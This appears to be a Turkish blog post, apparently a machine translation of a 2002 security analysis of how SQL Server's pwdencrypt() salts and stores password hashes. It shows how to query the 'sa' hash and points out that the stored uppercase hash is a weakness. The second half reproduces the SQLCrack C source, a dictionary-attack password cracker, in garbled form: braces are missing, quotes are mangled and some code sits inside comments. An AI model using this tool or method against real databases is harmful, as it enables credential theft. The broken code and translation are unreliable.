9 Mayıs 2018 Çarşamba

Sql Server Kullanıcı Şifresi Kırmak

SQL Server şifreleri nasıl saklar?


Sql Server Kullanıcı Şifresi Kırmak SQL Server, kullanıcının veritabanının sysxlogins tablosunda saklanan kullanıcının parolasını oluşturmak için belgesiz bir işlev olan pwdencrypt () kullanır. Bu muhtemelen oldukça yaygın bilinen bir gerçektir. Henüz yayınlanmamış olan pwdencrypt () işlevinin ayrıntılarıdır. Bu makale işlevi ayrıntılı olarak tartışacak ve SQL Server’ın parola karmasını depoladığı şekilde bazı zayıf noktaları gösterecektir. Aslında, göreceğimiz gibi, daha sonra ‘şifre hash’i ‘  demeliyim.


Bir SQL şifre karması nasıl görünür?


Sql Query Analyzerı kullanarak veya seçtiğiniz SQL aracını kullanarak aşağıdaki sorguyu çalıştırın.


select password from master.dbo.sysxlogins where name=’sa’


 


Şu şekilde bir sonuç göreceksiniz


 


0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6 F649BA954AFF4057056D9B


Bu, makinemdeki ‘sa’ login şifresinin hash’idir. Bundan daha önemlisi bu hash’den nasıl bir sonuç çıkararak bir şifre haline çevirebilmektir.


 


Query


select pwdencrypt(‘foo’)


Sonuç


0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218 969D09FFB97F5035CF7142521576


birkaç saniye sonra sorguyu tekrarlayın


select pwdencrypt(‘foo’)


sonuç


0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92F532819DC22ED6B


E374591FAAF6C38A2EADAA57FDF


iki karma farklıdır, ama ‘foo’ girişi de aynıdır. Buradan, bu zamanın şifre karmalarının oluşturulup saklanmasında önemli bir rol oynaması gerektiğini anlayabiliriz. Bunun arkasındaki tasarım nedenleri, iki kişinin aynı şifreyi kullanması durumunda, karmalarının farklı olacağı ve böylelikle şifrelerinin aynı olduğu gerçeğinin gizleneceği şeklinde olacaktır.


 


Sorguyu çalıştır


üreten pwdencrypt (‘AAAAAA’)


0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918 D34B6A12C9CC9EF99C4769F819B


Şimdi, muhtemelen iki şifre karmaşasının olduğunu görebiliyoruz. Eğer bunu fark edemiyorsan, onu kıralım.


0x0100 84449305

43174C59CC918D34B6A12C9CC9EF99C4769F819B 43174C59CC918D34B6A12C9CC9EF99C4769F819B


Görülebileceği gibi, son 40 karakter sondan önceki 40 karakterle aynıdır. Bu, şifrelerin iki kez depolandığını gösterir. Bunlardan biri normal büyük / küçük harfe duyarlı parola, diğeri ise parola’nın üst casus versiyonudur. Bu, SQL şifrelerini kırmaya çalışan herhangi biri kadar kolay değil, artık daha kolay bir iş var. Büyük / küçük harf duyarlı bir parola kırmak yerine, yalnızca üst casus versiyonundan sonra gitmeleri gerekiyor. Bu, önemli ölçüde girişimde bulunması gereken karakter sayısını azaltır.


Şifreyi bulma


Şimdiden bildiğimiz kadarıyla, zaman içinde meydana gelen değişiklikler, hashta bir değişiklik üretecek, şifre karmalarını farklı kılan zamanla ilgili bir şey olmalı ve bu bilgiler kolayca erişilebilir olmalıdır, böylece birisi, bir kullanıcı giriş yapmaya çalıştığında, bir karşılaştırmaya karşı yapılabilir. hash sağladıkları paroladan ve karma veritabanında saklanır. Pwdencrypt () ‘dan 84449305 bölümünün üzerindeki sonuçların dökümü bu bilgi parçasıdır.


Bu sayı aşağıdaki şekilde türetilmiştir. Time () C işlevi çağrılır ve srand () işlevine geçirilen bir tohum olarak kullanılır. srand () bir dizi (sözde) rasgele sayı üretmek için kullanılacak bir başlangıç ​​noktası belirler. Srand ekilince, bir rastgele sayı üretmek için rand () işlevi çağrılır. Bu sayı bir tamsayıdır; ancak SQL server bunu kısa bir kısma dönüştürür ve bir kenara koyar. Bu numaraya SN1 diyoruz. Rand () işlevi tekrar, yine bir kısaca dönüştürülen başka bir sözde rasgele tamsayı üretmek için çağrılır. Bu numarayı SN2 olarak adlandıralım. Bir tamsayı üretmek için SN1 ve SN2 birleştirilir. SN1 en önemli parça ve SN2 en az önemli parçası haline geliyor: SN1: SN2 bir tuz üretmek için. Bu tuz daha sonra şifreyi gizlemek için kullanılır.


Şifreyi karıştırmak


Kullanıcının parolası, bu formda değilse, UNICODE sürümüne dönüştürülür. Tuz daha sonra sonuna eklenir. Bu daha sonra güvenli karma algoritma veya SHA kullanarak bir karma üretmek için advapi32.dll crypt işlevlerine geçirilir. Parola daha sonra büyük harfli formuna dönüştürülür, tuz sonuna kadar tuzlanır ve başka bir SHA hash üretilir.

0x0100 Sabit Üstbilgi 84449305 İki aramadan rand’ye


43174C59CC918D34B6A12C9CC9EF99C4769F819B Kasa Hassas SHA Hızı 43174C59CC918D34B6A12C9CC9EF99C4769F819B Büyük Harf SHA Karma



Kimlik Doğrulama


Bir kullanıcı SQL Server’a kimlik doğrulamayı denediğinde, bunu yapmak için birkaç şey gerçekleşir. İlk olarak SQL Server, bu kullanıcı için parola girişini veritabanında inceler ve örnekte “tuz” -84449305’i çıkarır. Bu, daha sonra giriş yapmaya çalışırken ve SHA hash üretildiğinde kullanıcının sağladığı parolaya eklenir. Bu karma, veritabanındaki karma ile karşılaştırılır ve kullanıcıyla eşleşirse doğrulanır – ve tabii ki karşılaştırma başarısız olursa, giriş denemesi başarısız olur.


SQL Server Şifre Denetimi

Bu, SQL Server’ın kullanıcıların kimliğini doğrulamaya çalıştığı şekilde yapılır. Tabii ki, yapılacak en iyi şey, ilk olarak, kapalı kasadan üretilen karmayı kaba kuvvete zorlamaktır. Bu tahmin edildikten sonra büyük / küçük harfe duyarlı şifreyi çalışmak çok önemsizdir.


 


c+ ile devam ediyoruz


 


#include <stdio.h> #include <windows.h> #include <wincrypt.h>


 


 


FILE *fd=NULL;


char *lerr = “\nLength Error!\n”;


int wd=0;


int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash);


int main(int argc, char *argv[])


int err = 0;


if(argc !=3)


printf(“\n\n*** SQLCrack *** \n\n”); printf(“C:\\>%s hash passwd-file\n\n”,argv[0]); printf(“David Litchfield (david@ngssoftware.com)\n”);


printf(“24th June 2002\n”);


return 0;



err = OpenPasswordFile(argv[2]);


if(err !=0)



return printf(“\nThere was an error opening the password file %s\n”,argv[2]);



err = CrackPassword(argv[1]); fclose(fd);


printf(“\n\n%d”,wd);


return 0;


}


int OpenPasswordFile(char *pwdfile)



fd = fopen(pwdfile,”r”);


if(fd)


return 0;


else


return 1;



 


int CrackPassword(char *hash)


 


 


char phash[100]=””; char pheader[8]=””; char pkey[12]=””;


char pnorm[44]=””; char pucase[44]=””;


char pucfirst[8]=””; char wttf[44]=””; char uwttf[100]=””;


char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0;


HCRYPTHASH hHash;


DWORD hl=100;


unsigned char szhash[100]=””;


int len=0;


if(strlen(hash) !=94)



return printf(“\nThe password hash is too short!\n”);



if(hash[0]==0x30 && (hash[1]== ‘x’ || hash[1] == ‘X’))



hash = hash + 2; strncpy(pheader,hash,4); printf(“\nHeader\t\t: %s”,pheader); if(strlen(pheader)!=4)


return printf(“%s”,lerr);


hash = hash + 4; strncpy(pkey,hash,8); printf(“\nRand key\t: %s”,pkey); if(strlen(pkey)!=8)


return printf(“%s”,lerr);


 


hash = hash + 8; strncpy(pnorm,hash,40); printf(“\nNormal\t\t: %s”,pnorm); if(strlen(pnorm)!=40)


return printf(“%s”,lerr);


hash = hash + 40; strncpy(pucase,hash,40); printf(“\nUpper Case\t: %s”,pucase); if(strlen(pucase)!=40)


return printf(“%s”,lerr);


strncpy(pucfirst,pucase,2);


sscanf(pucfirst,”%x”,&cmp);



else



printf(“\n\n


 


return printf(“The password hash has an invalid format!\n”);


 


Trying…\n”);


 


if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL    ,0))



if(GetLastError()==NTE_BAD_KEYSET)



// KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv,


NULL, NULL,


PROV_RSA_FULL, CRYPT_NEWKEYSET ))



printf(“FAILLLLLLL!!!”); return FALSE;



 



 



while(1)



// get a word to try from the file ZeroMemory(wttf,44);


if(!fgets(wttf,40,fd)) return printf(“\nEnd of password file. Didn’t find the password.\n”);


 


wd++;


len = strlen(wttf); wttf[len-1]=0x00;


ZeroMemory(uwttf,84);


// Convert the word to UNICODE while(count < len)


uwttf[cnt]=wttf[count]; cnt++;


uwttf[cnt]=0x00;


count++;


cnt++;



len — ;


wp = &uwttf; sscanf(pkey,”%x”,&key); cnt = cnt – 2;


// Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t;


uwttf[cnt]=x; cnt++;


t = key << 8; t = t >> 24;


x = (unsigned char) t;


uwttf[cnt]=x;


cnt++;


 


t = key << 16;


t = t >> 24;


x = (unsigned char) t;


uwttf[cnt]=x; cnt++;


 


t = key << 24;


t = t >> 24;


x = (unsigned char) t;


uwttf[cnt]=x;


cnt++;


 


// Create the hash


if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))



printf(“Error %x during CryptCreatHash!\n”, GetLastErrorO); return 0;



if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))



printf(“Error %x during CryptHashData!\n”, GetLastErrorO); return FALSE;



CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);


 


// Test the first byte only. Much quicker. if(szhash[0] == cmp)



// If first byte matches try the rest ptr = pucase; cnt = 1;


while(cnt < 20)


ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,”%x”,&cmp); if(szhash[cnt]==cmp) cnt ++;


else


break;




if(cnt == 20)


 


// We’ve found the password


printf(“\nA MATCH!!! Password is %s\n”,wttf);


return 0;


 




 


count = 0; cnt=0;


 


 


 



 


return 0;


}


 


 


 



Sql Server Kullanıcı Şifresi Kırmak

Hiç yorum yok:

Yorum Gönder